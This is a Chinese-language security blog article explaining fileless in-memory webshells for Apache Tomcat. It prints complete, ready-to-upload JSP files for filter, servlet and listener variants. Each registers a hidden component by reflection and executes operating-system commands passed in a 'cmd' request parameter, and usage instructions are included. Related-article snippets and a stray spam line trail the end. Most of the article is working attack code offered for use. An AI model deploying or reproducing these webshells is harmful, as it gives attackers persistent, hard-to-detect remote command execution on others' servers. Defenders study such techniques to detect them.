<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    tomcat無文件內存webshell

    VSole2022-02-23 07:33:36

    filter型

    servlet型

    listener型

    執行優先級是listener -> filter -> servlet

    filter型內存馬原理

    filter是javaweb中的過濾器,會對客戶端發送的請求進行過濾并做一些操作,我們可以在filter中寫入命令執行的惡意文件,讓客戶端發來的請求通過它來做命令執行。

    而filter內存馬是通過動態注冊一個惡意filter,由于是動態注冊的,所以這個filter沒有文件實體,存在于內存中,隨著tomcat重啟而消失。

    一般我們把這個filter放在所有filter最前面優先執行,這樣我們的請求就不會受到其他正常filter的干擾。

    ServletContext

    需要動態注冊filter就需要幾個添加filter相關的函數,ServletContext恰好可以滿足這個條件

    javax.servlet.ServletContext

    ServletContext的方法中有addFilter、addServlet、addListener方法,即添加Filter、Servlet、Listener

    獲取ServletContext的方法

    this.getServletContext(); this.getServletConfig().getServletContext();

    ApplicationContext

    在Tomcat中org.apache.catalina.core.ApplicationContext中包含一個ServletContext接口的實現

    所以需要import這個庫,最后我們用到它獲取Context

    <%@ page import = "org.apache.catalina.core.ApplicationContext" %>
    

    filter相關變量

    filterMaps變量:包含所有過濾器的URL映射關系

    filterDefs變量:包含所有過濾器包括實例內部等變量

    filterConfigs變量:包含所有與過濾器對應的filterDef信息及過濾器實例,進行過濾器進行管理

    1 <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> 在tomcat不同版本需要通過不同的庫引入FilterMap和FilterDef

    <!-- tomcat 7 -->
    <%@ page import = "org.apache.catalina.deploy.FilterMap" %>
    <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
    <!-- tomcat 8/9 -->
    <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"  %>
    

    filter型內存馬實現

    filter部分

    先通過一個簡單的filter來看一下結構

    package filter;
    import javax.servlet.*;
    import java.io.IOException;
    
    public class filterDemo implements Filter {
    
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("init filter");
        }
    
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("exec filter");
            filterChain.doFilter(servletRequest,servletResponse);
        }
    
        public void destroy() {}
    }
    

    filterDemo中有init、doFilter、destroy三個重要方法

    init()方法:初始化參數,在創建Filter時自動調用,當我們需要設置初始化參數的時候,可以寫到該方法中。
    doFilter()方法:攔截到要執行的請求時,doFilter就會執行。這里面寫我們對請求和響應的預處理
    destory()方法:在銷毀Filter時自動調用
    

    對我們來說,init和destory不需要做什么,只需要寫一個doFilter方法攔截需要的請求,將其參數用于Runtime.getRuntime().exec()做命令執行,并將返回的數據打印到Response中即可,如下例:

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
         String cmd = servletRequest.getParameter("cmd");
         if (cmd!= null) {
             Process process = Runtime.getRuntime().exec(cmd);
             java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                     new java.io.InputStreamReader(process.getInputStream()));
             StringBuilder stringBuilder = new StringBuilder();
             String line;
             while ((line = bufferedReader.readLine()) != null) {
                 stringBuilder.append(line + '\n');
             }
             servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
             servletResponse.getOutputStream().flush();
             servletResponse.getOutputStream().close();
             return;
         }
         filterChain.doFilter(servletRequest, servletResponse);
     }
    

    動態注冊部分

    filter部分寫好,下一步就是實現將其注入到內存中

    //從org.apache.catalina.core.ApplicationContext反射獲取context方法
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    
    String name = "filterDemo";
    //判斷是否存在filterDemo這個filter,如果沒有則準備創建
    if (filterConfigs.get(name) == null){
        //定義一些基礎屬性、類名、filter名等
        filterDemo filter = new filterDemo();
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        
        //添加filterDef
        standardContext.addFilterDef(filterDef);
        
        //創建filterMap,設置filter和url的映射關系,可設置成單一url如/xyz ,也可以所有頁面都可觸發可設置為/*
        FilterMap filterMap = new FilterMap();
        // filterMap.addURLPattern("/*");
        filterMap.addURLPattern("/xyz");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        
        //添加我們的filterMap到所有filter最前面
        standardContext.addFilterMapBefore(filterMap);
        
        //反射創建FilterConfig,傳入standardContext與filterDef
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        
        //將filter名和配置好的filterConifg傳入
        filterConfigs.put(name,filterConfig);
        out.write("Inject success!");
        }
    else{
        out.write("Injected!");
    }
    

    完整內存馬

    最終jsp文件,只需傳到tomcat目錄并訪問一次,然后再訪問其jsp文件../xyz?cmd=whoami即可

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import = "org.apache.catalina.Context" %>
    <%@ page import = "org.apache.catalina.core.ApplicationContext" %>
    <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import = "org.apache.catalina.core.StandardContext" %>
    
    <!-- tomcat 8/9 -->
    <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
    page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
    
    <!-- tomcat 7 -->
    <%@ page import = "org.apache.catalina.deploy.FilterMap" %>
    <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
    
    <%@ page import = "javax.servlet.*" %>
    <%@ page import = "java.io.IOException" %>
    <%@ page import = "java.lang.reflect.Constructor" %>
    <%@ page import = "java.lang.reflect.Field" %>
    <%@ page import = "java.util.Map" %>
    
    <%
        class filterDemo implements Filter {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                String cmd = servletRequest.getParameter("cmd");
                if (cmd!= null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
    
            @Override
            public void destroy() {
    
            }
    
        }
    %>
    
    
    <%
        //從org.apache.catalina.core.ApplicationContext反射獲取context方法
        ServletContext servletContext =  request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
    
        String name = "filterDemo";
    //判斷是否存在filterDemo1這個filter,如果沒有則準備創建
        if (filterConfigs.get(name) == null){
            //定義一些基礎屬性、類名、filter名等
            filterDemo filter = new filterDemo();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilter(filter);
    
            //添加filterDef
            standardContext.addFilterDef(filterDef);
    
            //創建filterMap,設置filter和url的映射關系,可設置成單一url如/xyz ,也可以所有頁面都可觸發可設置為/*
            FilterMap filterMap = new FilterMap();
            // filterMap.addURLPattern("/*");
            filterMap.addURLPattern("/xyz");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
            //添加我們的filterMap到所有filter最前面
            standardContext.addFilterMapBefore(filterMap);
    
            //反射創建FilterConfig,傳入standardContext與filterDef
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    
            //將filter名和配置好的filterConifg傳入
            filterConfigs.put(name,filterConfig);
            out.write("Inject success!");
        }
        else{
            out.write("Injected!");
        }
    %>
    

    使用示例

    如果在當前web根目錄則不需要尋找上一級目錄

    Servlet型內存馬實現 Servlet部分 一個簡單的servlet

    public class ServletDemo implements Servlet {
        
        //當Servlet第一次被創建對象時執行該方法,該方法在整個生命周期中只執行一次
        public void init(ServletConfig arg0) throws ServletException {
            System.out.println("init");
        }
        //對客戶端響應的方法,該方法會被執行多次,每次請求該servlet都會執行該方法
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            System.out.println("service");
        }
    
        //當Servlet被銷毀時執行該方法
        public void destroy() {
            System.out.println("destroy");
        }
        
        //當停止tomcat時銷毀servlet。
        public ServletConfig getServletConfig() {
    
            return null;
        }
    
        public String getServletInfo() {
    
            return null;
        }
    }
    

    類比filter,在filter型中我們需要在doFilter方法中填入惡意代碼

    在servlet中,我們需要在service方法中填入惡意代碼,每次訪問就會觸發命令執行。

    在service填入RuntimeExec和回顯的部分,這個servlet就變成了進行命令執行的木馬

    class ServletDemo implements Servlet{
        
        @Override
        public void init(ServletConfig config) throws ServletException {}
        @Override
        public String getServletInfo() {return null;}
        @Override
        public void destroy() {}    public ServletConfig getServletConfig() {return null;}
    
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
        }
    }
    

    動態注冊部分

    獲取context部分與filter中相同,仍然從org.apache.catalina.core.ApplicationContext反射獲取

    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    

    然后這次需要將上文寫的servlet封裝成wrapper再使用context添加

    //將惡意servlet封裝成wrapper添加到StandardContext的children當中
    ServletDemo demo = new ServletDemo();
    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
    demoWrapper.setName("xyz");
    demoWrapper.setLoadOnStartup(1);
    demoWrapper.setServlet(demo);
    demoWrapper.setServletClass(demo.getClass().getName());
    standardContext.addChild(demoWrapper);
    
    //設置ServletMap將訪問的URL和wrapper進行綁定
    standardContext.addServletMapping("/xyz", "xyz");
    out.println("inject servlet success!");
    

    servlet型的內存馬無法使所有請求都經過惡意代碼,只有訪問我們設定的url才能觸發


    完整內存馬

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import = "org.apache.catalina.core.ApplicationContext"%>
    <%@ page import = "org.apache.catalina.core.StandardContext"%>
    <%@ page import = "javax.servlet.*"%>
    <%@ page import = "java.io.IOException"%>
    <%@ page import = "java.lang.reflect.Field"%>
    
    
    <%
        class ServletDemo implements Servlet{
            @Override
            public void init(ServletConfig config) throws ServletException {}
            @Override
            public String getServletInfo() {return null;}
            @Override
            public void destroy() {}    public ServletConfig getServletConfig() {return null;}
    
            @Override
            public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                String cmd = servletRequest.getParameter("cmd");
                if (cmd != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }
            }
        }
    %>
    
    
    <%
        ServletContext servletContext =  request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        ServletDemo demo = new ServletDemo();
        org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
    
    //設置Servlet名等
        demoWrapper.setName("xyz");
        demoWrapper.setLoadOnStartup(1);
        demoWrapper.setServlet(demo);
        demoWrapper.setServletClass(demo.getClass().getName());
        standardContext.addChild(demoWrapper);
    
    //設置ServletMap
        standardContext.addServletMapping("/xyz", "xyz");
        out.println("inject servlet success!");
    %>
    

    使用示例

    如果在當前web根目錄則不需要尋找上一級目錄


    Listener型內存馬原理

    Listener是javaweb中的監聽器,監聽某一個java對象的方法調用或屬性改變,當被監聽對象發生上述事件后,監聽器某個方法立即被執行。

    Listener內存馬是通過動態注冊一個Listener,其監聽到某個參數傳入時,則將參數用于命令執行,由于是動態注冊的,所以這個Listener沒有文件實體,存在于內存中,隨著tomcat重啟而消失。


    Listener型內存馬實現

    Listener部分

    一個簡單的HttpServletRequestListener示例

    class S implements ServletRequestListener{
    
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            System.out.println("Initialized.");
                }
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            System.out.println("Destroyed.");
        }
    }
    

    在Listener中,我們需要在初始化操作contextInitialized中填入惡意代碼

    class S implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            
        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {}
            }
        }
    }
    

    動態注冊部分

    獲取context部分

    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    

    添加Listener

    S servletRequestListener = new S();
    standardContext.addApplicationEventListener(servletRequestListener);
    

    完整內存馬

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="javax.servlet.*" %>
    <%@ page import="javax.servlet.annotation.WebServlet" %>
    <%@ page import="javax.servlet.http.HttpServlet" %>
    <%@ page import="javax.servlet.http.HttpServletRequest" %>
    <%@ page import="javax.servlet.http.HttpServletResponse" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="java.lang.reflect.Field" %>
    
    <%
    class S implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            
        }
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            if(cmd != null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {}
            }
        }
    }
    %>
    
    <%
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    S servletRequestListener = new S();
    standardContext.addApplicationEventListener(servletRequestListener);
    out.println("inject success");
    %>
    

    使用示例

    如果在當前web根目錄則不需要尋找上一級目錄


    stringservlet
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01 背景 在內存馬橫行的當下,藍隊or應急的師傅如何能快速判斷哪些Filter/Servlet是內存馬,分析內存馬的行為功能是什么?考慮到Agent技術針對紅隊來說比較重,我們這次使用jsp技術來解決以上問題。
    Resin解析漏洞分析
    2021-10-30 06:26:47
    前陣子看有師傅在公眾號上發表了Resin解析漏洞分析,我們也知道有個常用的OA用的就是Resin,因此我認為了解它的漏洞是十分必要的。
    JSP內存馬研究
    2021-10-16 07:49:21
    最近在研究webshell免殺的問題,到了內存馬免殺部分發現傳統的Filter或者Servlet查殺手段比較多,不太容易實現免殺,比如有些工具會將所有注冊的Servlet和Filter拿出來,排查人員仔細一點還是會被查出來的,所以 我們要找一些其他方式實現的內存馬。比如我今天提到的JSP的內存馬(雖然本質上也是一種Servlet類型的馬) 。
    很早之前就立下flag說聊聊內存馬,然后出了一篇文章Java Agent的內容。后來就擱淺了,這次想先寫聊聊兩種最為常見的內存馬,spring內存馬和filter內存馬。
    前段時間Confluence發布了CVE-2021-26085補丁,剛好之前分析過Confluence的漏洞,免去了搭建漏洞分析環境的麻煩,因此分析下這個漏洞。 分析過程 漏洞點定位 這個漏洞爆出來已經有一段時間了,所以已經有公開的POC了
    Listener 三個域對象ServletContextListenerHttpSessionListenerServletRequestListener很明顯,ServletRequestListener 是最適合用來作為內存馬的。因為 ServletRequestListener 是用來監聽 ServletRequest對 象的,當我們訪問任意資源時,都會觸發ServletRequestListener#requestInitialized()方法。下面我們來實現一個惡意的 Listener。這里我找到了ServletRequestListener,因為根據名字以及其中的requestInitialized()方法感覺我們的發送的每個請求都會觸發這個監控器。這里我們嘗試自己寫一個 Listener,并進行測試。因為前面猜想requestInitialized()方法可以觸發 Listener 監控器,所以我們在requestInitialized()方法里面加上一些代碼,來證明它何時被執行。
    可以使用一些編碼字符來制作 URI,以訪問WEB-INF目錄的內容和/或繞過一些安全限制。
    一文看懂內存馬
    2022-01-02 22:31:21
    它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。該方法在Filter的生命周期中僅執行一次。
    CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类